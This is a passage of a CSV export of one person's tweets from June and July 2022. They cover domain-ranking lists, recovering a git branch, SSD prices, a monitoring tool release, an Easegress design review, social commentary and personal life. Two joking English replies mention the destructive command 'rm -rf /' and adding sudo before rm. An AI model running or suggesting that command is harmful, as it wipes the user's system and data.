1万的网站，最多的还是美国的，第二梯队是欧洲和中国，第三梯队是日本，俄罗斯，印度，韩国，泰国，台湾，等等。绝大多数都是商业的，可以开阔商业眼界 1/2,,https://twitter.com/haoel/status/1542913630919725056\n1793,1542826922895298561,2022-07-01 11:06:17+00:00,1,0,5,,@TomMao1123 当时血压上来了吗？,,https://twitter.com/haoel/status/1542826922895298561\n1794,1542807023527477248,2022-07-01 09:47:13+00:00,0,0,1,,@kholinchan 在垃圾回收之后，啥也不管用了,,https://twitter.com/haoel/status/1542807023527477248\n1795,1542756122754314240,2022-07-01 06:24:57+00:00,403,26,42,,不小心git branch -D 删除了一个本地分支，结果还能找回来……我几天的工作差点就没了……血压一下就上来了……现在心跳还没下去…… https://t.co/8jF9DIsrsr,,https://twitter.com/haoel/status/1542756122754314240\n1796,1542675465852162048,2022-07-01 01:04:27+00:00,0,0,0,,@cmpFm2V7O1arnK6 @gaochunhui 谢谢，如果是穷举的方式，那我自己来吧,,https://twitter.com/haoel/status/1542675465852162048\n1797,1542533157127217152,2022-06-30 15:38:58+00:00,10,1,0,,在alexa 和 cisco的都找不到我的 https://t.co/VQAL5HczZX ，在 The Majestic Million 上还能查到排名 47350，top千万里我的blog能排到  253007 名……呵呵,\"[TextLink(text='coolshell.cn', url='http://coolshell.cn', tcourl='https://t.co/VQAL5HczZX', indices=(22, 45))]\",https://twitter.com/haoel/status/1542533157127217152\n1798,1542530121155825667,2022-06-30 15:26:54+00:00,106,17,4,,下午问了老高 @gaochunhui ，发现这事还真不好办，不是短期能搞事，好在我只需要头部活跃的，网上能下到alexa top百万的域名https://t.co/2bpxIeqSiZ，顺着我还找到了Cisco 伞学院的Top百万 https://t.co/fB2MTPNvM4，以及https://t.co/Uv7sgZbWT6，更找到了top千万https://t.co/QSE3tJqx5m ……,\"[TextLink(text='s3.amazonaws.com/alexa-static/t…', url='http://s3.amazonaws.com/alexa-static/top-1m.csv.zip', tcourl='https://t.co/2bpxIeqSiZ', indices=(69, 92)), TextLink(text='umbrella.cisco.com/blog/cisco-umb…', url='https://umbrella.cisco.com/blog/cisco-umbrella-1-million', tcourl='https://t.co/fB2MTPNvM4', indices=(116, 139)), TextLink(text='downloads.majestic.com/majestic_milli…', url='https://downloads.majestic.com/majestic_million.csv', tcourl='https://t.co/Uv7sgZbWT6', indices=(142, 165)), TextLink(text='domcop.com/files/top/top1…', url='https://www.domcop.com/files/top/top10milliondomains.csv.zip', tcourl='https://t.co/QSE3tJqx5m', indices=(175, 198))]\",https://twitter.com/haoel/status/1542530121155825667\n1799,1542483308675600390,2022-06-30 12:20:53+00:00,0,0,1,,@whaling__ship 给个网址……,,https://twitter.com/haoel/status/1542483308675600390\n1800,1542483162487369729,2022-06-30 12:20:18+00:00,0,0,0,,@hqsong @ohho 人家是.com的，.info当然不在,,https://twitter.com/haoel/status/1542483162487369729\n1801,1542482809272410112,2022-06-30 12:18:54+00:00,0,0,1,,@MaybeNext0ne @tinyfool 不必客气，以后质疑前可能自行调查一下，不然，显得有点傻……提问也好，质疑也好，也是讲智慧的。https://t.co/KbymCkMOd4,\"[TextLink(text='catb.org/esr/faqs/smart…', url='http://catb.org/esr/faqs/smart-questions.html', tcourl='https://t.co/KbymCkMOd4', indices=(70, 93))]\",https://twitter.com/haoel/status/1542482809272410112\n1802,1542438744069812225,2022-06-30 09:23:48+00:00,3,0,1,,@MaybeNext0ne @tinyfool 你可以自己简单谷歌一下嘛。https://t.co/vFyLuvFvMw https://t.co/DwEmNgxY3D,\"[TextLink(text='politics.people.com.cn/n1/2020/0615/c…', url='http://politics.people.com.cn/n1/2020/0615/c1001-31747507.html', tcourl='https://t.co/vFyLuvFvMw', indices=(37, 60))]\",https://twitter.com/haoel/status/1542438744069812225\n1803,1542436053235007488,2022-06-30 09:13:06+00:00,10,2,0,,@pOHVII 可能不太一样，不过供你参考。8.4节。https://t.co/mdOTsYdude,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io', tcourl='https://t.co/mdOTsYdude', indices=(27, 50))]\",https://twitter.com/haoel/status/1542436053235007488\n1804,1542378341218390016,2022-06-30 05:23:47+00:00,0,0,1,,@ohho 我还要一个一个探测吧，而且只有.com的吧……,,https://twitter.com/haoel/status/1542378341218390016\n1805,1542356853220290560,2022-06-30 03:58:24+00:00,10,1,2,,不好意思，补充一下，我说的是自己动手的方式，不是通过购买第三方的数据的方式。,,https://twitter.com/haoel/status/1542356853220290560\n1806,1542343001757716480,2022-06-30 03:03:21+00:00,104,17,31,,求助一个事，如何获得互联网上公开可访问的所有域名？或是有一定访问量（每天1000+ pv）的域名？,,https://twitter.com/haoel/status/1542343001757716480\n1807,1542140763659698177,2022-06-29 13:39:44+00:00,8,0,5,,@dowei 但是你也不标注啊……,,https://twitter.com/haoel/status/1542140763659698177\n1808,1542137653641957376,2022-06-29 13:27:22+00:00,488,31,140,,问个问题，既然通信行程卡里面取消了“星号”标记，那么为什么不直接取消通信行程卡？,,https://twitter.com/haoel/status/1542137653641957376\n1809,1542076274415247361,2022-06-29 09:23:28+00:00,55,4,2,,@vikingmute 千万别把编程搞成个工作啊……你这样也太没劲了……学会从中享受其中的快乐吧……,,https://twitter.com/haoel/status/1542076274415247361\n1810,1542075086743605249,2022-06-29 09:18:45+00:00,39,0,7,,@tinyfool 72小时的核酸证明不是还在嘛……,,https://twitter.com/haoel/status/1542075086743605249\n1811,1541710837248688128,2022-06-28 09:11:21+00:00,250,26,5,,C programming language from 0d to 3d... https://t.co/SSRA0c9asn,,https://twitter.com/haoel/status/1541710837248688128\n1812,1541601177418182657,2022-06-28 01:55:36+00:00,0,0,0,,\"@PantelisRoditis To fix that error, need to add the sudo before rm…😂😂\",,https://twitter.com/haoel/status/1541601177418182657\n1813,1541481139390382080,2022-06-27 17:58:37+00:00,6,0,2,,@PantelisRoditis Especially with rm -rf /,,https://twitter.com/haoel/status/1541481139390382080\n1814,1541268051739348992,2022-06-27 03:51:53+00:00,85,11,2,,\"这个小工具 v1.6.0 release了，主要新增Channel 概念，可把一组探测和一组通知通过Channel关联起来。新增TLS证书, Memcache的探测，主机探测也支持多个磁盘空间使用率的探测，通知，这边新增了 Teams, Shell，Syslog。并且补了一堆单元测试。这个小工具探测和报错是很好用的，值得一试…… https://t.co/MbBv55Bmr4\",,https://twitter.com/haoel/status/1541268051739348992\n1815,1541054761742389248,2022-06-26 13:44:21+00:00,1,0,0,,@PantelisRoditis 😂😂😂,,https://twitter.com/haoel/status/1541054761742389248\n1816,1541034576247541760,2022-06-26 12:24:08+00:00,2,0,1,,@laixintao 全世界机场排行榜第一的机场！,,https://twitter.com/haoel/status/1541034576247541760\n1817,1540652590983024640,2022-06-25 11:06:16+00:00,9,0,5,,@kevinzhow https://t.co/4CAFNVjRjC,,https://twitter.com/haoel/status/1540652590983024640\n1818,1540339983059365889,2022-06-24 14:24:04+00:00,24,1,4,,这大腿肌肉……,,https://twitter.com/haoel/status/1540339983059365889\n1819,1540278338450620418,2022-06-24 10:19:07+00:00,1,0,0,,@qiangwei75 对，6150👍🏻👍🏻,,https://twitter.com/haoel/status/1540278338450620418\n1820,1540166107092307968,2022-06-24 02:53:09+00:00,69,1,22,,找到了几部我的老手机。图一左边那个诺基亚应该是6110，我大学毕业（月薪￥800），攒了一年的工资，￥2000元买的，那个时候1分钟5毛钱，漫游费好像1分钟1元（无论主叫被叫）。充电线都找不到，电池也鼓包了，看看能不能网购到充电线和电池来复活它们…… https://t.co/csmXIbraEr,,https://twitter.com/haoel/status/1540166107092307968\n1821,1539947534730534912,2022-06-23 12:24:37+00:00,40,1,18,,我最优质的 Bandwagon GIA CN2 挂了一天了…… https://t.co/eYeYWSHqZW,,https://twitter.com/haoel/status/1539947534730534912\n1822,1539901953433833472,2022-06-23 09:23:30+00:00,7,0,3,,@tinyfool 以前还拿个电视机，现在拿个过时的15吋的显示器？,,https://twitter.com/haoel/status/1539901953433833472\n1823,1539636259672297477,2022-06-22 15:47:44+00:00,129,4,17,,这就是我的 Twitter 关系图，感觉就像个肺🫁，少了哪一边都会让我无法正常呼吸…… https://t.co/udvlM5Wjw2,,https://twitter.com/haoel/status/1539636259672297477\n1824,1539601389927559169,2022-06-22 13:29:10+00:00,0,0,2,,@ghosTM55 Apple TV 的遥控器居然可以控制这个音响的音量……,,https://twitter.com/haoel/status/1539601389927559169\n1825,1539600681715134464,2022-06-22 13:26:21+00:00,2,0,1,,@ghosTM55 统一走电视光纤输出,,https://twitter.com/haoel/status/1539600681715134464\n1826,1539600172258193408,2022-06-22 13:24:20+00:00,0,0,1,,@ghosTM55 JBL的,,https://twitter.com/haoel/status/1539600172258193408\n1827,1539598972133597184,2022-06-22 13:19:33+00:00,43,4,12,,刚发现 Disney+ 放出《奇异博士2》的片子了…… https://t.co/qMs81hbQCC,,https://twitter.com/haoel/status/1539598972133597184\n1828,1539485775330353157,2022-06-22 05:49:45+00:00,53,1,59,,你的Github Copilot是哪个界面？收费的还是免费的？ https://t.co/ulxP8zdSeN,,https://twitter.com/haoel/status/1539485775330353157\n1829,1539467917871288320,2022-06-22 04:38:48+00:00,15,0,1,,@waylybaye @nishuang @hzlzh 你看这不又互动了一下,,https://twitter.com/haoel/status/1539467917871288320\n1830,1539218292019105793,2022-06-21 12:06:52+00:00,1,0,0,,\"@PantelisRoditis @nullsimon Okay, I even thought the GFW cause the problem…\",,https://twitter.com/haoel/status/1539218292019105793\n1831,1539212552399269888,2022-06-21 11:44:04+00:00,2676,482,60,,这种两国大使互换母语的互怼，也是难得一见…… https://t.co/74JWOYBPgL,,https://twitter.com/haoel/status/1539212552399269888\n1832,1538755367403810821,2022-06-20 05:27:22+00:00,77,3,8,,@songma 400亿的骗司之前也有一个——云南泛亚，430亿元，受害者达22万人，2019年疫情还没开始的时候，维权群众精心严密组织，做到了1万人在北京上访维权……（现在想想，还是很NB的）,,https://twitter.com/haoel/status/1538755367403810821\n1833,1538752312440520704,2022-06-20 05:15:14+00:00,52,0,5,,再补一条关于售后服务的。这个从欧洲亚麻买来的，包装盒及里面的说明书上的售后电话以及小提示，都是多语言的……今天中午打了个说明书中国的客服电话，SN号报过去，客服说在保修期内，有故障都可以保修…… https://t.co/7JA93s1NDC,,https://twitter.com/haoel/status/1538752312440520704\n1834,1538744646737666048,2022-06-20 04:44:46+00:00,0,0,0,,@liaoliaojun_ 970 evo只有980 pro一半的速度啊……完全不达标啊……,,https://twitter.com/haoel/status/1538744646737666048\n1835,1538679670354259969,2022-06-20 00:26:35+00:00,2,0,1,,@nivorta 我在中国亚马逊上买的，看上去是德国亚马逊 https://t.co/9IqwaAiuc6,\"[TextLink(text='amazon.cn/dp/B08QJHLC8J/…', url='https://www.amazon.cn/dp/B08QJHLC8J/ref=cm_sw_r_cp_api_i_H0RMFGB5NWXB5T4DNKE9?_encoding=UTF8&psc=1', tcourl='https://t.co/9IqwaAiuc6', indices=(30, 53))]\",https://twitter.com/haoel/status/1538679670354259969\n1836,1538564124174479360,2022-06-19 16:47:26+00:00,2,0,0,,@kevinzhow @ghosTM55 平局收场……,,https://twitter.com/haoel/status/1538564124174479360\n1837,1538456069503979520,2022-06-19 09:38:04+00:00,0,0,0,,@__shouge__ FIFA22,,https://twitter.com/haoel/status/1538456069503979520\n1838,1538438883276230656,2022-06-19 08:29:47+00:00,11,1,2,,还有推友一起吗？三缺一…… https://t.co/kVZwF1dKoc,,https://twitter.com/haoel/status/1538438883276230656\n1839,1538399854673571841,2022-06-19 05:54:42+00:00,0,0,0,,@Piscescai @Datou 为什么？,,https://twitter.com/haoel/status/1538399854673571841\n1840,1538399525714284545,2022-06-19 05:53:23+00:00,0,0,1,,@lttlsnk 居然这么慢……你是在亚马逊上买的吗？,,https://twitter.com/haoel/status/1538399525714284545\n1841,1538397303462957058,2022-06-19 05:44:33+00:00,0,0,1,,@iammecn 980 pro这个应该是目前最顶级的SSD硬盘了，PS5游戏专用的……,,https://twitter.com/haoel/status/1538397303462957058\n1842,1538389739547422720,2022-06-19 05:14:30+00:00,0,0,0,,@Shin339642271 请问你到底想表达个啥？我看半天我实在看不懂。,,https://twitter.com/haoel/status/1538389739547422720\n1843,1538389368766750720,2022-06-19 05:13:02+00:00,2,0,1,,@ttttinyfish 还有关税,,https://twitter.com/haoel/status/1538389368766750720\n1844,1538388832231444480,2022-06-19 05:10:54+00:00,1,0,0,,@sccdxec @Datou 这东西可以二手翻新啊，哥,,https://twitter.com/haoel/status/1538388832231444480\n1845,1538384411590176768,2022-06-19 04:53:20+00:00,0,0,1,,@ghosTM55 孩子在玩……,,https://twitter.com/haoel/status/1538384411590176768\n1846,1538383837662572544,2022-06-19 04:51:03+00:00,189,18,25,,刚发现产地居然是中国，人家千辛万苦的把它运到欧洲，我又把它再买了回来，真是罪过啊…… https://t.co/HxO5BPuXMg,,https://twitter.com/haoel/status/1538383837662572544\n1847,1538379015819436032,2022-06-19 04:31:53+00:00,3,1,0,,@dukeleis 这是中国的亚马逊啊,,https://twitter.com/haoel/status/1538379015819436032\n1848,1538378327840370688,2022-06-19 04:29:09+00:00,3,0,4,,@Datou 淘宝上的你敢买？呵呵,,https://twitter.com/haoel/status/1538378327840370688\n1849,1538377989473173504,2022-06-19 04:27:49+00:00,31,0,3,,@mk926 我要是买贵的，你是不是又要说，你被骗了买这么贵？,,https://twitter.com/haoel/status/1538377989473173504\n1850,1538377365646020608,2022-06-19 04:25:20+00:00,6,1,2,,@iammecn 你确信么？980 Pro NVMe SSD比三星970 Pro快得多的多。因为980 Pro是PCIe 4.0 x4通道，970只是PCIe 3.0。自己看看吧 ：https://t.co/PPSZm8NaSD,\"[TextLink(text='ssdsphere.com/samsung-970-pr…', url='https://ssdsphere.com/samsung-970-pro-vs-980-pro/', tcourl='https://t.co/PPSZm8NaSD', indices=(91, 114))]\",https://twitter.com/haoel/status/1538377365646020608\n1851,1538347149749932033,2022-06-19 02:25:16+00:00,2,1,2,,@haohaolalahao 淘宝上不敢买……,,https://twitter.com/haoel/status/1538347149749932033\n1852,1538339132434284546,2022-06-19 01:53:24+00:00,1,0,1,,@hzmaizi 那是1TB,,https://twitter.com/haoel/status/1538339132434284546\n1853,1538201272976908294,2022-06-18 16:45:36+00:00,0,0,0,,@JC4213 比欧洲贵,,https://twitter.com/haoel/status/1538201272976908294\n1854,1538201051001606145,2022-06-18 16:44:43+00:00,1,0,0,,@ctengctsh 没有,,https://twitter.com/haoel/status/1538201051001606145\n1855,1538200653448634368,2022-06-18 16:43:08+00:00,1,0,1,,\"@PantelisRoditis @MegaEase Actually, I misled you to the dead end a couple of times… 😅😅\",,https://twitter.com/haoel/status/1538200653448634368\n1856,1538197083701641216,2022-06-18 16:28:57+00:00,397,47,68,,这个跟个内存条似的玩意儿是个2TB的SSD固态硬盘，在国内京东上价格2499元，在欧洲亚麻上1680元，加上关税和物流1840元，通关后经过10个工作日的消毒（海关7天，顺丰3天），终于于今天618送到……如果沒有所谓“消毒”，购物体验还是很好的……（P.S.为什么1TB的国内外价基本相同，2TB的会差这么多？） https://t.co/x8huzFEVJ7,,https://twitter.com/haoel/status/1538197083701641216\n1857,1537955345586302977,2022-06-18 00:28:22+00:00,417,82,8,,@wangxiaoshan 比较经典的是这个…… https://t.co/K8VT3SNjyY,,https://twitter.com/haoel/status/1537955345586302977\n1858,1537662282511003650,2022-06-17 05:03:51+00:00,43,4,14,,\"The CPU should be Intel 8086…I have used such computer in 1991, it costs around $3000 USD at that time… and the age should be at least 45…😉\",,https://twitter.com/haoel/status/1537662282511003650\n1859,1537659868462493696,2022-06-17 04:54:15+00:00,2,1,0,,@yingshaoxo https://t.co/sg2fFBP7YC,\"[TextLink(text='m.weibo.cn/1401880315/475…', url='https://m.weibo.cn/1401880315/4756738321158666', tcourl='https://t.co/sg2fFBP7YC', indices=(12, 35))]\",https://twitter.com/haoel/status/1537659868462493696\n1860,1537589384152723456,2022-06-17 00:14:10+00:00,2,0,1,,@freemood6 不知道你想说什么，要是你不喜欢，我们不妨互相拉黑,,https://twitter.com/haoel/status/1537589384152723456\n1861,1537588173903015937,2022-06-17 00:09:22+00:00,0,0,0,,@linuxyz 不一定是小粉红,,https://twitter.com/haoel/status/1537588173903015937\n1862,1537451604852346882,2022-06-16 15:06:41+00:00,1,0,1,,@freemood6 看我的图……,,https://twitter.com/haoel/status/1537451604852346882\n1863,1537439088612999168,2022-06-16 14:16:57+00:00,0,0,0,,@Wang_MTL 还要剪指甲？第一次听说😅,,https://twitter.com/haoel/status/1537439088612999168\n1864,1537437621596499970,2022-06-16 14:11:07+00:00,320,31,13,,我从不公开评论别人，尽可能的只说事不评论人。因为，我也有过被网暴的经历，我知道是什么感受，那怕是那些长年黑，骂脏话，上纲上线，跟我有私仇的人，我也不会公开对他们评头论足，就算是处于舆论漩涡，我也装死不出气，我更喜欢私下沟通。因为在社交平台公开评论别人，跟写大字报批斗人没啥两样…… https://t.co/SU5M8UqI7n,,https://twitter.com/haoel/status/1537437621596499970\n1865,1537432902056570883,2022-06-16 13:52:22+00:00,21,2,2,,@songma 是的，我也是。从不公开评论别人，尽可能的只说事，不评论人。因为，我也有过被网最的经历，我知道是什么感受，那怕是那些长年黑我的人，跟我有私仇的人，我也不会对他们评头论足，就算是处于舆论漩涡，我也装死不出气，我更喜欢私下沟通。因为公开评论别人，跟写大字报批斗人没什么两样……,,https://twitter.com/haoel/status/1537432902056570883\n1866,1537352969791803393,2022-06-16 08:34:45+00:00,7,1,0,,@3721_helper 高手,,https://twitter.com/haoel/status/1537352969791803393\n1867,1537345857934094336,2022-06-16 08:06:29+00:00,10,0,4,,@3721_helper 主要是女人的头发！！看来你是个单身狗！😂😂,,https://twitter.com/haoel/status/1537345857934094336\n1868,1537344886193590272,2022-06-16 08:02:38+00:00,34,0,7,,@FreiheitYu 我不但不考虑，还要强行本地化，上次还有个开发者要把我们开源项目的UTC时间改成中国时区……🤣,,https://twitter.com/haoel/status/1537344886193590272\n1869,1536908653407571968,2022-06-15 03:09:12+00:00,0,0,0,,@erjinxia 他们老是陷入财务危机……,,https://twitter.com/haoel/status/1536908653407571968\n1870,1536868069401694208,2022-06-15 00:27:56+00:00,0,0,1,,@erjinxia 你也看球啊,,https://twitter.com/haoel/status/1536868069401694208\n1871,1536867996756389891,2022-06-15 00:27:38+00:00,0,0,0,,@cigarettebingo 是的,,https://twitter.com/haoel/status/1536867996756389891\n1872,1536867962019143681,2022-06-15 00:27:30+00:00,0,0,0,,@LiangGuan7 是,,https://twitter.com/haoel/status/1536867962019143681\n1873,1536703447654838273,2022-06-14 13:33:47+00:00,1,0,1,,@ghosTM55 好啊，周末吧,,https://twitter.com/haoel/status/1536703447654838273\n1874,1536698873820786688,2022-06-14 13:15:36+00:00,56,5,11,,世界级难度，以阿森纳球员身份踢了一个赛季，从开始终场前10分钟替补球员开始，天天收经理邮件骂我能力不行，要把我卖掉，不断训练给自己升级加点，后面踢成首发，并成为英超最佳球员，整个赛季进了82多个球，把阿森纳整成积分110分排名第一，下赛季进欧冠了……（ps因为喜欢亨利和温格喜欢了阿森纳） https://t.co/GVG2PZ0iC1,,https://twitter.com/haoel/status/1536698873820786688\n1875,1536664403394764801,2022-06-14 10:58:38+00:00,1,0,1,,@urcyanide 一次剃不完，得分好几次，得找他需要我撸他的时候，才能剃他……,,https://twitter.com/haoel/status/1536664403394764801\n1876,1536663446728519680,2022-06-14 10:54:50+00:00,26,0,17,,每次感觉我们家的猫脏了，我都会纠结于到底给他洗个澡，还是把他的毛给剃了……洗个澡它会反抗，剃毛它很乖，但是剃完了很难看，而且它的皮肤很嫩，容易受伤……但是一想到让我心烦的猫掉毛，我还是决定把它的毛剔了算了……😂😂 https://t.co/M7LU3q6MiM,,https://twitter.com/haoel/status/1536663446728519680\n1877,1536586448593268736,2022-06-14 05:48:52+00:00,9,0,1,,@qiankunbagua 这个是另外一个话题。跟那个社会实验无关,,https://twitter.com/haoel/status/1536586448593268736\n1878,1536581954316816384,2022-06-14 05:31:00+00:00,410,88,50,,在微博看到一西方做的男人打女人旁边人是否会站出来的社会实验，好些人说国人挫国外好。转个新闻（https://t.co/QialNOi60V ），上个月的纽约，一女性被三男人爆打，同样没人站出来，最后那脚，下巴踢脱臼了……【注：我这不是whataboutism，我只想说别带民族意识，“自悲”和“自大”都是很糟糕的心态】 https://t.co/wC5lYL8fmh,\"[TextLink(text='nypost.com/2022/05/25/tri…', url='http://nypost.com/2022/05/25/trio-brutally-beats-woman-break-her-jaw-in-nyc-attack-video/', tcourl='https://t.co/QialNOi60V', indices=(46, 69))]\",https://twitter.com/haoel/status/1536581954316816384\n1879,1536351532022497280,2022-06-13 14:15:23+00:00,9,1,7,,@yihong0618 我阿森纳的赛季成绩…… https://t.co/kZXw9PtIFZ,,https://twitter.com/haoel/status/1536351532022497280\n1880,1536265036624060416,2022-06-13 08:31:41+00:00,4,0,2,,@fircst 假设说你能干得过坏人，但是需要用暴力，你得把他把伤，他才会停止伤人，或者说你在使用暴力的时候，你本想控制不要伤人的，但是失手了……有我们这样的法律在，你还会上去制止吗？这才是我发这两个新闻的本意，你明白了吗？,,https://twitter.com/haoel/status/1536265036624060416\n1881,1536191111617646592,2022-06-13 03:37:56+00:00,29,0,3,,@fircst 嗯，那么，你敢路见不平见义勇为么？,,https://twitter.com/haoel/status/1536191111617646592\n1882,1536185777746391040,2022-06-13 03:16:45+00:00,288,72,19,,\"这里有两则新闻，两个小伙子，都是见到女性被人猥亵，挺身而出制止犯罪，但结局都是见义勇为者被拘留、判刑、罚款。见义勇为要做到“精确”“理智”的防卫，难度系数真的很高……\n\n[1] https://t.co/qQIrnWY7B6\n\n[2] https://t.co/aI4dEhjyQn https://t.co/vfmVzrrJu7\",\"[TextLink(text='c.m.163.com/news/a/E8B77BR…', url='https://c.m.163.com/news/a/E8B77BRE0521C6V3.html', tcourl='https://t.co/qQIrnWY7B6', indices=(89, 112)), TextLink(text='m.sohu.com/a/69846819_116…', url='https://m.sohu.com/a/69846819_116237/', tcourl='https://t.co/aI4dEhjyQn', indices=(118, 141))]\",https://twitter.com/haoel/status/1536185777746391040\n1883,1536043263139778562,2022-06-12 17:50:26+00:00,9,0,6,,@9527kw 初中生怕不带红领巾了吧，感觉是小学生……,,https://twitter.com/haoel/status/1536043263139778562\n1884,1535953456397070337,2022-06-12 11:53:35+00:00,22,0,4,,@wangxiaoshan 别说人了，上次在美国开车，一堆车等一群鹅过马路，等了10多分钟……,,https://twitter.com/haoel/status/1535953456397070337\n1885,1535860121930125312,2022-06-12 05:42:42+00:00,414,39,24,,任何一个为所欲为的流氓团伙或是黑社会如果要想明目张胆的长期存在，必然要靠“保护伞”，这个是没什么好想的，无论哪种类型的国家都是一样的……如果一个地方经常出现男人打女人或是持强凌弱这样事，一般来说代表这个地方教育落后，而且法律没有保护好弱者，弱者申张不到自己的权力……,,https://twitter.com/haoel/status/1535860121930125312\n1886,1535534139117514752,2022-06-11 08:07:22+00:00,6,0,1,,@songma 老司机带带我的摇滚版？,,https://twitter.com/haoel/status/1535534139117514752\n1887,1535219139031093248,2022-06-10 11:15:40+00:00,89,6,7,,@songma 我甚至觉得她应该成为我辈的榜样，既站中国，又站美国，价值观美国，饮食中国……二极管们是肯定理解不了……,,https://twitter.com/haoel/status/1535219139031093248\n1888,1535126499577040896,2022-06-10 05:07:33+00:00,5,0,1,,@yihong0618 不错，赞！,,https://twitter.com/haoel/status/1535126499577040896\n1889,1534864542848544768,2022-06-09 11:46:38+00:00,0,0,0,,@KuoxenM 哈哈哈……,,https://twitter.com/haoel/status/1534864542848544768\n1890,1534864294805786624,2022-06-09 11:45:38+00:00,25,0,0,,各位，我说的不是我的梯子，而是discord 语言频道自己的区域服务器啊……（注：日本，香港的丢包都很大）,,https://twitter.com/haoel/status/1534864294805786624\n1891,1534863771243450368,2022-06-09 11:43:34+00:00,0,0,1,,@__shouge__ 20:00,,https://twitter.com/haoel/status/1534863771243450368\n1892,1534851013915443201,2022-06-09 10:52:52+00:00,159,15,19,,使用印度的服务器来进行Discord的视频聊天+屏幕分享，体验实在是太好了，丢包居然是0……以后，就靠印度等落后国家拯救中国网络了…… https://t.co/5YrUZbaj56,,https://twitter.com/haoel/status/1534851013915443201\n1893,1534807541003132928,2022-06-09 08:00:07+00:00,29,0,1,,大家别忘了晚上的review会……,,https://twitter.com/haoel/status/1534807541003132928\n1894,1534724195812118528,2022-06-09 02:28:56+00:00,0,0,0,,@XianBoZhang 76年生的，好像是首批六年制小学。,,https://twitter.com/haoel/status/1534724195812118528\n1895,1534723796015296512,2022-06-09 02:27:21+00:00,206,6,14,,@songma 可能这恰恰说明是真的。在中国只有骗子才会把东西做得稳定好用尽善尽美，只有政府才会把东西做得又挫又难用……,,https://twitter.com/haoel/status/1534723796015296512\n1896,1534443988471558144,2022-06-08 07:55:30+00:00,1,0,0,,@pingchn iPad Max 巨幕？,,https://twitter.com/haoel/status/1534443988471558144\n1897,1534442981532413952,2022-06-08 07:51:30+00:00,1367,164,94,,这才是真正的资深系统架构师，两地多中心，真异地多活，多云跨云分布式部署，超高可用架构……我多年一直努力的目标！ https://t.co/8OKo8mLatJ,,https://twitter.com/haoel/status/1534442981532413952\n1898,1534432659119562752,2022-06-08 07:10:28+00:00,29,1,4,,为什么一个名字会讨论了半个月？主要是，这个名字与概念模型相关，一旦被公开后就改不了了，而且这个名字对于理解、使用和开发Easegress软件非常关键，所以认认真真地讨论了两个星期。,,https://twitter.com/haoel/status/1534432659119562752\n1899,1534426842509193216,2022-06-08 06:47:22+00:00,21,0,2,,上初二不严谨，那年应该是刚上初一下学期……,,https://twitter.com/haoel/status/1534426842509193216\n1900,1534158173623357442,2022-06-07 12:59:46+00:00,5,0,0,,@fw_qaq 所谓“正确的事”，通常来说，都是长线付出的事，都是一般人无法害怕的事……,,https://twitter.com/haoel/status/1534158173623357442\n1901,1534153557595025408,2022-06-07 12:41:25+00:00,2130,182,97,,我76年生人，那年刚上初二，我其实并不知道发生什么事。24岁时，见到一当年亲历者，很落魄，家人也受牵连，我问他后悔吗？他说，“我不后悔，我为之奋斗过，失败了，很惨，但是不后悔！”。他的话和眼神深度影响了我多年，我也开始做那些就算失败也不后悔选择。我相信每个人都有几件失败也不后悔的事……,,https://twitter.com/haoel/status/1534153557595025408\n1902,1534115194867027969,2022-06-07 10:08:59+00:00,7,0,2,,@kevinzhow 作为付费用户，他们会赔钱吗？,,https://twitter.com/haoel/status/1534115194867027969\n1903,1533995493813956608,2022-06-07 02:13:20+00:00,133,23,2,,Easegress在开源后收到很多反馈，一方面是多协议HTTP/TCP/MQTT支持，另一方面是要更为灵活和干净的服务和流量治理的控制，我们用2个多月进行了重构工作，其中光一个命名我们就讨论了半个月😂，这次诚邀大家来跟我们做个Design/Code Review。于北京时间6月9日晚20点，欢迎参加！https://t.co/D32fimylaH https://t.co/4vChOSLCqo,\"[TextLink(text='meeting.tencent.com/dw/k1u0OvTHQJ95', url='https://meeting.tencent.com/dw/k1u0OvTHQJ95', tcourl='https://t.co/D32fimylaH', indices=(151, 174))]\",https://twitter.com/haoel/status/1533995493813956608\n1904,1533775015321096192,2022-06-06 11:37:14+00:00,19,0,13,,刚吃完饭，就有外卖小哥又送了一包过来，孩子开门就接了，然后问我谁点的外卖？我和老婆都很蒙逼，仔细看了一下才发现是别人家的，打过电话才知道是隔壁楼的……😂😂 https://t.co/UIB64fO03s,,https://twitter.com/haoel/status/1533775015321096192\n1905,1533627329422929927,2022-06-06 01:50:23+00:00,41,2,3,,s/shit/shift/g 😂😂,,https://twitter.com/haoel/status/1533627329422929927\n1906,1533626653665923073,2022-06-06 01:47:42+00:00,260,48,27,,今天才知道在macOS下的中文简体和繁体的互转快捷键。繁体转简体，选中文本 cmd + ctl + shit +c ，简体转繁体，选中文本 cmd +opt +ctl + shit + c 。挺方便的，就是手指头不够用了……,,https://twitter.com/haoel/status/1533626653665923073\n1907,1533269636401180672,2022-06-05 02:09:02+00:00,11,2,0,,@_hisriver 我不知道。我只是印象中记得，有一天新闻联播的两位主持人穿着纯黑的衣服，神情特别沮丧，开始播报新闻联播，然后第二天这就撤下了……网上搜了一下，还查到了https://t.co/7PP0koXY8U,\"[TextLink(text='youtu.be/HAUo4kBkTvU', url='https://youtu.be/HAUo4kBkTvU', tcourl='https://t.co/7PP0koXY8U', indices=(85, 108))]\",https://twitter.com/haoel/status/1533269636401180672\n1908,1533160361305657345,2022-06-04 18:54:49+00:00,4,0,1,,@_hisriver 那你应该沒有看过两位主持人穿黑色衣服主持人主持的的从19点到22:30一共3个半小时新闻联播……,,https://twitter.com/haoel/status/1533160361305657345\n1909,1533079962365792257,2022-06-04 13:35:20+00:00,6,0,2,,@_hisriver 你是几零？,,https://twitter.com/haoel/status/1533079962365792257\n1910,1532235426290757637,2022-06-02 05:39:27+00:00,4,0,0,,@3721_helper 赞👍🏻,,https://twitter.com/haoel/status/1532235426290757637\n1911,1532079610573123585,2022-06-01 19:20:18+00:00,1,0,1,,@ghosTM55 @kevinzhow FIFA?,,https://twitter.com/haoel/status/1532079610573123585\n1912,1531291404042764289,2022-05-30 15:08:15+00:00,74,9,7,,这不是我的博客文章么……,,https://twitter.com/haoel/status/1531291404042764289\n1913,1530092416169955328,2022-05-27 07:43:54+00:00,3,0,4,,现在好像恢复了……,,https://twitter.com/haoel/status/1530092416169955328\n1914,1530091290007810053,2022-05-27 07:39:25+00:00,22,1,3,,果然是挂掉了……https://t.co/9IYlrcnKuq https://t.co/ZiVW36wk19,\"[TextLink(text='githubstatus.com', url='https://www.githubstatus.com', tcourl='https://t.co/9IYlrcnKuq', indices=(8, 31))]\",https://twitter.com/haoel/status/1530091290007810053\n1915,1530090881616752640,2022-05-27 